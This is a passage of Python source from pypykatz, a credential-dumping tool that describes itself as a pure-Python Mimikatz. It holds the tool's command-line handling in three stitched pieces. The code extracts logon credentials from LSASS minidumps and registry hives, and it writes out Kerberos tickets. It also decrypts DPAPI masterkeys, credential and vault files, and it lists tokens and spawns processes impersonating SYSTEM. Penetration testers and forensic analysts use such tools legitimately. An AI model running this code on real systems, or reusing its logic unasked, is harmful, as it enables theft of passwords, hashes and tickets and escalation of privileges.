logging.exception('Error while parsing file %s' % args.minidumpfile) if args.halt_on_error == True: raise e else: traceback.print_exc() ###### Registry elif args.command == 'registry': po = OffineRegistry.from_files(args.system, args.sam, args.security) if args.outfile: po.to_file(args.outfile, args.json) else: print(str(po)) if args.outfile and args.json: with open(args.outfile, 'w') as f: json.dump(results, f, cls=UniversalEncoder, indent=4, sort_keys=True) elif args.outfile: with open(args.outfile, 'w') as f: for result in results: f.write('FILE: ======== %s =======\n' % result) for luid in results[result].logon_sessions: f.write('\n' + str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: f.write('\n== Orphaned credentials ==\n') for cred in results[result].orphaned_creds: f.write(str(cred)) if len(files_with_error) > 0: f.write('\n== Failed to parse these files:\n') for filename in files_with_error: f.write('%s\n' % filename) elif args.json: print( json.dumps(results, cls=UniversalEncoder, indent=4, sort_keys=True)) else: for result in results: print('FILE: ======== %s =======' % result) if isinstance(results[result], str): print(results[result]) else: for luid in results[result].logon_sessions: print(str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: print('== Orphaned credentials ==') for cred in results[result].orphaned_creds: print(str(cred)) if len(files_with_error) > 0: print('\n==== Parsing errors:') for filename in files_with_error: print(filename) if args.kerberos_dir: dir = os.path.abspath(args.kerberos_dir) logging.info('Writing kerberos tickets to %s' % dir) for filename in results: base_filename = ntpath.basename(filename) ccache_filename = '%s_%s.ccache' % ( base_filename, os.urandom(4).hex()) #to avoid collisions results[filename].kerberos_ccache.to_file( os.path.join(dir, ccache_filename)) for luid in results[filename].logon_sessions: for kcred in results[filename].logon_sessions[ luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(dir) for cred in results[filename].orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(dir)
def run(self, args): from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() if args.dapi_module == 'prekey': if args.prekey_command == 'registry': if args.system is None: raise Exception('SYSTEM hive must be specified for registry parsing!') if args.sam is None and args.security is None: raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.') dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) elif args.prekey_command == 'password': if args.sid is None: raise Exception('SID must be specified for generating prekey in this mode') pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, password = pw) elif args.prekey_command == 'nt': if args.nthash is None or args.sid is None: raise Exception('NT hash and SID must be specified for generating prekey in this mode') dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nthash) dpapi.dump_pre_keys(args.out_file) elif args.dapi_module == 'minidump': if args.minidumpfile is None: raise Exception('minidump file must be specified for mindiump parsing!') dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) dpapi.dump_masterkeys(args.out_file) if args.out_file is not None: dpapi.dump_pre_keys(args.out_file + '_prekeys') else: dpapi.dump_pre_keys() elif args.dapi_module == 'masterkey': if args.prekey is None: raise Exception('Etieher KEY or path to prekey file must be supplied!') dpapi.load_prekeys(args.prekey) dpapi.decrypt_masterkey_file(args.masterkeyfile) if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: print('Failed to decrypt the masterkeyfile!') return dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'credential': dpapi.load_masterkeys(args.mkf) cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) elif args.dapi_module == 'vpol': dpapi.load_masterkeys(args.mkf) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.dapi_module == 'vcred': if args.vpolkey is None or len(args.vpolkey) == 0: raise Exception('VPOL key bust be specified!') dpapi.vault_keys = [bytes.fromhex(x) for x in args.vpolkey] res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.dapi_module == 'securestring': dpapi.load_masterkeys(args.mkf) try: bytes.fromhex(args.securestring) except Exception as e: print('Error! %s' %e) dec_sec = dpapi.decrypt_securestring_file(args.securestring) else: dec_sec = dpapi.decrypt_securestring_hex(args.securestring) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.dapi_module == 'blob': dpapi.load_masterkeys(args.mkf) try: bytes.fromhex(args.blob) except Exception as e: print('Error! %s' %e) dec_sec = dpapi.decrypt_securestring_file(args.blob) else: dec_sec = dpapi.decrypt_securestring_hex(args.blob) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le'))
def main(): import argparse import glob from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper from pypykatz.ldap.cmdhelper import LDAPCMDHelper from pypykatz.kerberos.cmdhelper import KerberosCMDHelper from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper from pypykatz.registry.cmdhelper import RegistryCMDHelper from pypykatz.remote.cmdhelper import RemoteCMDHelper cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), LDAPCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper()] parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') parser.add_argument('-v', '--verbose', action='count', default=0) subparsers = parser.add_subparsers(help = 'commands') subparsers.required = True subparsers.dest = 'command' live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers() live_subparsers.required = True live_subparsers.dest = 'module' #this is the new cmd helper formet, in beta mode currently for helper in cmdhelpers: helper.add_args(subparsers, live_subparsers) live_subparser_process_group = live_subparsers.add_parser('process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument('-i','--interactive', action = 'store_true', help = 'Spawns a new interactive process') live_subparser_process_group.add_argument('--sid', help = 'Impersonate given SID in new process') live_subparser_process_group.add_argument('-c', '--cmdline', help = 'The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser('token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list','whoami']) live_subparser_dpapi_group = live_subparsers.add_parser('dpapi', help='DPAPI (live) related commands') live_subparser_dpapi_group.add_argument('-r','--method_registry', action='store_true', help= 'Getting prekeys from LIVE registry') live_subparser_dpapi_group.add_argument('--vpol', help= 'VPOL file') live_subparser_dpapi_group.add_argument('--vcred', help= 'VCRED file') live_subparser_dpapi_group.add_argument('--cred', help= 'credential file') live_subparser_dpapi_group.add_argument('--mkf', help= 'masterkey file') dpapi_group = subparsers.add_parser('dpapi', help='DPAPI (offline) related commands') dpapi_subparsers = dpapi_group.add_subparsers() dpapi_subparsers.required = True dpapi_subparsers.dest = 'dapi_module' dpapi_prekey_group = dpapi_subparsers.add_parser('prekey', help='Obtains keys for masterkey decryption. Sources can be registry hives file or plaintext password and SID or NT hash and SID') dpapi_prekey_group.add_argument('keysource', choices=['registry', 'password', 'nt'], help = 'Define what type of input you want to parse') dpapi_prekey_group.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') dpapi_prekey_group.add_argument('--system', help= '[registry] Path to SYSTEM hive file') dpapi_prekey_group.add_argument('--sam', help= '[registry] Path to SAM hive file') dpapi_prekey_group.add_argument('--security', help= '[registry] Path to SECURITY hive file') dpapi_prekey_group.add_argument('--sid', help= '[password and nt] Key used for decryption. The usage of this key depends on what other params you supply.') dpapi_prekey_group.add_argument('--password', help= '[password] Plaintext passowrd of the user. Used together with SID') dpapi_prekey_group.add_argument('--nt', help= '[nt] NT hash of the user password. Used together with SID. !!Succsess not guaranteed!!') dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file') dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file') dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file') dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file') dpapi_mastekey_group.add_argument('--key', help= 'Key used for decryption, in hex format') dpapi_mastekey_group.add_argument('--prekey', help= 'Path to prekey file, which has multiple decryption key candidates') dpapi_mastekey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file') dpapi_credential_group.add_argument('cred', help='path to credential file') dpapi_credential_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format') dpapi_credential_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.') dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file') dpapi_vcred_group.add_argument('vcred', help='path to vcred file') dpapi_vcred_group.add_argument('--vpolkey', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys') dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file') dpapi_vpol_group.add_argument('vpol', help='path to vpol file') dpapi_vpol_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format') dpapi_vpol_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.') sake_group = subparsers.add_parser('sake', help='sake') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] for helper in cmdhelpers: helper.execute(args) ###### Live if args.command == 'live': if args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid = sid, cmdline = cmdline, interactive = args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.module == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() #####pre-key section if args.method_registry == True: dpapi.get_prekeys_form_registry_live() if not args.mkf: raise Exception('Live registry method requires masterkeyfile to be set!') dpapi.decrypt_masterkey_file(args.mkf) else: dpapi.get_masterkeys_from_lsass_live() #decryption stuff if args.vcred: if args.vpol is None: raise Exception('for VCRED decryption you must suppliy VPOL file') dpapi.decrypt_vpol_file(args.vpol) res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.vpol: key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.cred: cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) else: #just printing masterkeys for guid in dpapi.masterkeys: print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt masterkey') ###### DPAPI offline elif args.command == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() if args.dapi_module == 'prekey': if args.keysource == 'registry': if args.system is None: raise Exception('SYSTEM hive must be specified for registry parsing!') if args.sam is None and args.security is None: raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.') dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) elif args.keysource == 'password': if args.sid is None: raise Exception('SID must be specified for generating prekey in this mode') pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, password = pw) elif args.keysource == 'nt': if args.nt is None or args.sid is None: raise Exception('NT hash and SID must be specified for generating prekey in this mode') dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt) dpapi.dump_pre_keys(args.out_file) elif args.dapi_module == 'minidump': if args.minidumpfile is None: raise Exception('minidump file must be specified for mindiump parsing!') dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'masterkey': if args.key is None and args.prekey is None: raise Exception('Etieher KEY or path to prekey file must be supplied!') if args.prekey: dpapi.load_pre_keys(args.prekey) dpapi.decrypt_masterkey_file(args.mkf) if args.key: dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key)) if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: print('Failed to decrypt the masterkeyfile!') return dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'credential': if args.masterkey is None and args.mkb_file is None: raise Exception('Either masterkey or pre-generated MKB file must be specified') if args.mkb_file is not None: dpapi.load_masterkeys(args.mkb_file) cred_blob = dpapi.decrypt_credential_file(args.cred) else: cred_blob = dpapi.decrypt_credential_file(args.cred, args.masterkey) print(cred_blob.to_text()) elif args.dapi_module == 'vpol': if args.masterkey is None and args.mkb_file is None: raise Exception('Either masterkey or pre-generated MKB file must be specified') if args.mkb_file is not None: dpapi.load_masterkeys(args.mkb_file) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) else: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, args.masterkey) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.dapi_module == 'vcred': if args.vpolkey is None: raise Exception('VPOL key bust be specified!') res = dpapi.decrypt_vpol_file(args.vcred, args.vpolkey) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) ###### Sake elif args.command == 'sake': from pypykatz.utils.sake.sake import Sake s = Sake() print(s.draw())